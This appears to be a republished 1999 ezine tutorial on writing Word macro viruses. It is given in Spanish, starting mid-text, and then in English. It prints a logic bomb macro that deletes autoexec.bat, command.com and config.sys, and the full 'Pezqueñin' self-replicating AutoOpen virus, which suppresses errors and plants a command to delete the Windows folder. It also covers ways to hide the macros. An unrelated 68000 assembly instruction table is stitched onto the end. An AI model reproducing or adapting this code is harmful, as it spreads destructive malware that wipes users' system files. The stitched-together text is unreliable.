Mediante el menu Herramientas/macros …, donde se pueden editar (en caso de no ser solo-ejecutables) , y eliminar.

Dentro de este cuadro de dialogo hay un boton (Organizador …) que nos muestra otro cuadro donde se puede copiar macros de un documento a otro o eliminar.

La otra forma es a través de Archivo / Plantillas … , donde tambien es accesible el Organizador.

Hay muchas formas de ocultar esto, y asi evitar el acceso a nuestras macros víricas. Podríamos desactivar estos menus, eliminarlos , incluso emularlos…

Bombas lógicas

Las bombas pueden hacerse tambien de muchas formas. Una de ellas es crear una macro en un documento, y asignarle unas teclas rápidas de ejecución.

Por ejemplo,

Sub MAIN
   FijarAtributos "c:\autoexec bat" ,0
   FijarAtributos "c:\command com",0
   FijarAtributos "c:\config sys",0
   Kill c:\autoexec bat"
   Kill "c:\command com"
   Kill "c:\config sys"
End Sub

Este pequeño código, elimina todos los atributos del autoexec.bat, config.sys y command.com (el “0” es el que lo indica). Despues los archivos son eliminados con la instruccion Kill.

Si hacemos una macro con esto, y le asignamos como tecla de ejecución, por ejemplo, “izquierda”, pulsar dicha tecla borraría los archivos.

Ejemplo: Pezqueñin.doc

Para terminar, aqui va un pequeño ejemplo de VBA virus muy sencillo, para entender lo explicado anteriormente. Tenemos un documento infectado, llamado pezqueñin.doc que contiene la siguiente macro llamada AutoOpen:

Sub MAIN

   MacroCopiar NombreVentana$() + ":infeccion" , "Global:AutoOpen" , 1
                                 // Copia la macro infección
                                 // a la plantilla global con el
                                 // nombre AutoOpen, y en modo solo ejecución

   MacroCopiar NombreVentana$() + ":AutoOpen" , "Global:infectado" , 1
                                 // Copia la macro AutoOpen del
                                 // documento infectado a la global con el infectado
End Sub

Y otra macro llamada infección

Sub MAIN

   On Error Resume Next
                      // Esta línea sirve para que en caso de error continue
                      // sin mostrar ningun mensaje de error que nos delataría,
                      // ya que en un lenguaje interpretado los mensajes de error
                      // aparecen segun van apareciendo.

   ArchivoGuardarComo .Formato = 1

                      // Guarda el archivo abierto con el formato de
                      // plantilla (Nota: esto en un virus real no sería viable, ya que
                      // guardaría cualquier archivo en ese formato, incluido un documento
                      // de solo texto, por ejemplo, nota.txt)

   MacroCopiar "Global:AutoOpen" , NombreVentana$() + ":infeccion" , 1
                      // Copia AutoOpen
                      // de la global al documento con el nombre infección

   MacroCopiar "Global:infectado" , NombreVentana$() + ":AutoOpen" , 1
                      // Copia infectado
                      //como AutoOpen

   ArchivoGuardar     // Guarda el archivo de nuevo

   If Dia(Ahora()) = 28 Then    // Si es dia 28

      If Mes(Ahora()) = 4 Then  // del mes de Abril

         MsgBox "Acaba de ser infectado por el virus Pezqueñin", "Virus msg", 0
                                                  // muestra este mensaje

         Open "c:\autoexec.bat" For Append As #1  // Abre el archivo autoexec.bat para adición

         Print #1 " del c\windows\*.* > null "    // añade esta linea al autoexec

         Close #1      // Cierra de nuevo el archivo

         SalirWindows  // Sale de Windows

      End If

   End If

End sub

Disclaimer

Este artículo está escrito con fines puramente didácticos, para conocer un poco más de lo que es capaz un ordenador, y a conocer los fallos que posee para poder solucionarlos.

Recordar que un virus no es un pedazo de software creado para destruir y/o irrumpir en maquinas ajenas, sino que es un ingenio informático que demuestra la posibilidad de crear una vida artificial capaz de reproducirse por si misma y evitar ser eliminada.

Macro virii introduction (I)

1999-03-22T10:00:00+01:00

This article was originally published NetSearch Ezine number #1 , in 1999.

The code this presentation does not work intentionally (the code is altered so it can not be executed), and only would affect Word 7.0

The objective of the article was to demonstrate a vulnerability in the software.

Introduction

The so-called macro virus or macro Trojans are viruses encoded in applications like Word or Excel, using these macros to automate certain tasks.

This kind of malware is really easy to create and extend, but if you are really interested in the world of viruses, you should learn to write assembler.

They are written in an scripted language used by the application, typically Visual Basic for Applications (VBA) or, in the case of Word, Word Basic (WB). Both languages are very similar (actually VB is a version of Visual Basic specifically for this application), but is not the subject of this article to learn programming in these languages, but some viral techniques for these languages.

Being the most common, I will focus on Word viruses, although the mechanism is the same for all applications.

Word Basic is an interpreted language, pretty simple, and is unique in that its instructions are in the same language as the Word itself. Thus, if we encode a virus for Word in spanish, and it's ran in an English Word will give an error message. If you're a bit clever, you should be able to solve this problem to make a multilingual virus. Anyway, there are many commands that are not language dependant, so a good goal would be to write a virus using only such commands.

Macros in Word are in the templates (*. Dot). When you create a new document, it is normal that this document is opened by default with the global template NORMAL.DOT, but can be opened with a different template if desired. These templates inherit the format in which the document is started.

To create a document that contains macros, you just have to create a document, and save as a template (.dot), not as a document (.doc). Once done, the document may already contain macros. Keep in mind that you can rename the file, and transform it back to .DOC, preserving the properties and template that contains macros. Also you could create a new document based on a template infected, but this case, in my opinion, is not the most appropriate, since its already dependant on another file.

There are 5 automatic macros, which are basic (well, that's not really true) for creating virus (although not "bomb documents"), since the ultimate goal of a virus is to reproduce. These macros are:

AutoExec: A macro with this name will be executed each time the Word is started.

AutoOpen: Se ejecuta cada vez que se abre el documento.

AutoClose: It runs every time the document is opened.

AutoNew: It runs whenever a new document is created.

AutoExit: It runs when you quit Word.

It goes without saying that these automatic macros are called the same in all versions of Word.

As expected, if a global template (NORMAL.DOT) contains an automatic macro, all documents opened with that template will launch the execution of these macros. This is one of the most important things to consider writing macro viruses.

Replication

A virus can use several mechanisms to infect. One is the use of function MacroCopiar:

MacroCopiar PlantillaOrigen:MacroOrigen , PlantillaDestino:MacroDestino , OnlyExecutable

where OnlyExecutable is a number; if not 0, causes the macro to be copied as only executable, and therefore can not be edited and view contents.

The infection process is simple. The infected document brings macros written in their code. Using this command, you can copy the macros from the global template, thus infecting the Word.

MacroCopiar “MiVirus:infecto” , “Global:AutoOpen” ,1

This copies the "infecto" Global macro MiVirus.DOC (NORMAL.DOT) as AutoOpen and execution mode only. From that moment, all documents using that template, when opened will provoke the execution of the macro.

Stealth

In Word there are two ways to access a menu where you can view, edit or delete macros from a document:

Through the menu Tools / Macros ..., where you can edit (if not only-executable), and delete.

Within this dialog there is a button (Organizer ...) showing us another box where you can copy macros from one document to another, or delete.

The other way is via File / Templates ... where is also accessible the Organizer.

There are many ways to hide it, and thus prevent access to our viral macros. We could disable these menus, delete them, even emulate ...

Logic bombs

Bombs can also be made in several ways. One is to create a macro in a document, and assign a hotkey to execution.

For example,

Sub MAIN
   FijarAtributos "c:\autoexec bat" ,0
   FijarAtributos "c:\command com",0
   FijarAtributos "c:\config sys",0
   Kill c:\autoexec bat"
   Kill "c:\command com"
   Kill "c:\config sys"
End Sub

This short code, removes all attributes autoexec.bat, config.sys and command.com (the "0" is the one that indicates it). After that the files are deleted with the Kill instruction.

If we make a macro with this, and we assign as execution key, for example, "left", pressing this key will erase the files.

Example: Pezqueñin.doc

Finally, here is a small example of simple VBA viruses to understand all of the above. We have an infected document, called pezqueñin.doc containing the following AutoOpen macro call:

Sub MAIN

   MacroCopiar NombreVentana$() + ":infeccion" , "Global:AutoOpen" , 1
                                 // Copy the macro infection
                                 // to the global template with
                                 // the name AutoOpen and only-execution mode

   MacroCopiar NombreVentana$() + ":AutoOpen" , "Global:infectado" , 1
                                 // Copies AutoOpen macro
                                 // from infected document to the global
End Sub

and another macro infección

Sub MAIN

   On Error Resume Next

   ArchivoGuardarComo .Formato = 1

   MacroCopiar "Global:AutoOpen" , NombreVentana$() + ":infeccion" , 1

   MacroCopiar "Global:infectado" , NombreVentana$() + ":AutoOpen" , 1

   ArchivoGuardar

   If Dia(Ahora()) = 28 Then

      If Mes(Ahora()) = 4 Then

         MsgBox "Acaba de ser infectado por el virus Pezqueñin", "Virus msg", 0

         Open "c:\autoexec.bat" For Append As #1

         Print #1 " del c\windows\*.* > null "

         Close #1

         SalirWindows

      End If

   End If

End sub

Disclaimer

This article was written for pure educational purposes, to know a little more what a computer can do, and to know the faults that need to be solved.

Instrucción	Uso	Descripción
LSL	LSL.B\|W\|L Di,Dj desp = Di mod 64 LSL.B\|W\|L #n,D* desp = #n LSL destino desp = 1	Desplaza hacia la izquierda los bits tantas veces como desp. C <- bit\|bit\|bit\|...\|bit\|bit\|bit <- 0 \| X <-
LSR	LSR.B\|W\|L Di,Dj desp = Di mod 64 LSR.B\|W\|L #n,D* desp = #n LSR destino desp = 1	Desplaza hacia la derecha los bits tantas veces como desp. 0 -> bit\|bit\|bit\|...\|bit\|bit\|bit -> C \| -> X
ASL	ASL.B\|W\|L Di,Dj desp = Di mod 64 ASL.B\|W\|L #n,D* desp = #n ASL destino desp = 1	Desplazamiento aritmetico hacia la izquierda El flag V (overflow) se pone a 1 si el bit más significativo cambia en algún momento.
ASR	ASR.B\|W\|L Di,Dj desp = Di mod 64 ASR.B\|W\|L #n,D* desp = #n ASR destino desp = 1	Desplazamiento aritmetico hacia la derecha El flag V (overflow) se pone a 1 si el bit menos significativo cambia en algún momento.
ROL	ROL.B\|W\|L Di,Dj desp = Di mod 64 ROL.B\|W\|L #n,D* desp = #n ROL destino desp = 1	Rotación hacia la izquierda \| \| C <- bit\|bit\|bit\|...\|bit\|bit\|bit <-
ROR	ROR.B\|W\|L Di,Dj desp = Di mod 64 ROR.B\|W\|L #n,D* desp = #n ROR destino desp = 1	Rotación hacia la derecha. \| \| -> bit\|bit\|bit\|...\|bit\|bit\|bit -> C
ROXL	ROXL.B\|W\|L Di,Dj desp = Di mod 64 ROXL.B\|W\|L #n,D* desp = #n ROXL destino desp = 1	Rotación a izquierda con extensión. \| \| C <- bit\|bit\|bit\|...\|bit\|bit\|bit <- X <-
ROXR	ROXR.B\|W\|L Di,Dj desp = Di mod 64 ROXR.B\|W\|L #n,D* desp = #n ROXR destino desp = 1	Rotación a derecha con extensión \| \| - X -> bit\|bit\|bit\|...\|bit\|bit\|bit -> C